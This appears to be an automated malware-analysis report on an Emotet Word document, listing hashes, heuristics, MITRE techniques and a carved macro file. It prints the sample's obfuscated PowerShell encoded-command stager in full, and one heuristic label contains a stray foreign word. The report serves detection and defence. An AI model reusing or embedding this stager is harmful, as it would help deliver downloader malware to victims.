Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ce54926c6e6bb51a…

MALICIOUS

Office (OLE)

158.1 KB Created: 2020-09-15 13:42:00 Authoring application: Microsoft Office Word
MD5: 4dbe4f527e20e0e3255cf8211fe87bf3 SHA-1: 04c69b3c60be20e5431a9b2e2345518d81381eb8 SHA-256: ce54926c6e6bb51a9f76b70e433f6745eaa79038969f753b14bce036ccf55c76
300 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The critical heuristic OLE_USERFORM_OBFUSCATED_POWERSHELL indicates the presence of an obfuscated PowerShell stager within a UserForm. The Document_Open macro (OLE_VBA_DO কিনা) is configured to execute this stager via CreateObject (OLE_VBA_CREATEOBJ). The reconstructed PowerShell command is: "powershell -e JABVADkAcA2vhaghsghfBmAHcAeQBq2vhaghsghfAD0AKAAoAC2vhaghsghfcAQgA2ACcA2vhaghsghfKwAnAF8AJw2vhaghsghfApACsAKAAn2vhaghsghfAG8AOABfAC2vhaghsghfcAKwAnAHAA2vhaghsghfJwApACkAOw2vhaghsghfAuACgAJwBu2vhaghsghfAGUAJwArAC2vhaghsghfcAdwAtAGkA2vhaghsghfdABlAG0AJw2vhaghsghfApACAAJABl2vhaghsghfAE4AVgA6AH2vhaghsghfUAUwBlAHIA2vhaghsghfUABSAG8ARg2vhaghsghfBJAEwAZQBc2vhaghsghfAEsAWABmAE2vhaghsghfUARAAxADQA2vhaghsghfXABEAFMANQ2vhaghsghfA4ADMAUgBo2vhaghsghfAFwAIAAtAG2vhaghsghfkAdABlAG0A2vhaghsghfdAB5AHAAZQ2vhaghsghfAgAGQASQBy2vhaghsghfAEUAYwB0AE2vhaghsghf8AUgBZADsA2vhaghsghfWwBOAGUAdA2vhaghsghfAuAFMAZQBy2vhaghsghfAHYAaQBjAG2vhaghsghfUAUABvAGkA2vhaghsghfbgB0AE0AYQ2vhaghsghfBuAGEAZwBl2vhaghsghfAHIAXQA6AD2vhaghsghfoAIgBTAGAA2vhaghsghfZQBDAHUAUg2vhaghsghfBgAGkAYABU2vhaghsghfAHkAUAByAG2vhaghsghf8AdABPAGMA2vhaghsghfTwBMACIAIA2vhaghsghfA9ACAAKAAo2vhaghsghfACcAdAAnAC2vhaghsghfsAJwBsAHMA2vhaghsghfMQAnACkAKw2vhaghsghfAoACcAMgAs2vhaghsghfACcAKwAnAC2vhaghsghfAAdABsAHMA2vhaghsghfJwArACcAMQ2vhaghsghfAxACcAKQAr2vhaghsghfACgAJwAs2vhaghsghfAAJwArACcANg2vhaghsghfdAAnACkAKw2vhaghsghfAnAGwAJwAr2vhaghsghfACcAcwAnAC2vhaghsghfkAOwAkAFMA2vhaghsghfYQBrAGYAeg2vhaghsghfBuAHoAIAA92vhaghsghfACAAKAAoAC2vhaghsghfcAVQAnACsA2vhaghsghfJwBpADAA". This PowerShell command is responsible for downloading and executing a second-stage payload, likely establishing persistence via the Run key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'. The ClamAV detection 'Doc.Malware.Emotet-9762371-0' further supports the Emotet family attribution.

Heuristics 8

  • Hidden UserForm PowerShell EncodedCommand stager critical OLE_USERFORM_OBFUSCATED_POWERSHELL
    OLE document contains a UTF-16LE form/property string with an obfuscated PowerShell -EncodedCommand payload. The observed macro family reconstructs this hidden string with Split/Join or UserForm property reads and launches it through WMI/COM process creation. This is downloader malware, not an Office CVE exploit.
  • ClamAV: Doc.Malware.Emotet-9762371-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9762371-0
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
8bee8f90d9dfb3891c7c232e7baf01a2aaa2db95a501fe4ff2d320babae29389
vba-macro oletools.olevba.extract_macros (decoded VBA source) 22935 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.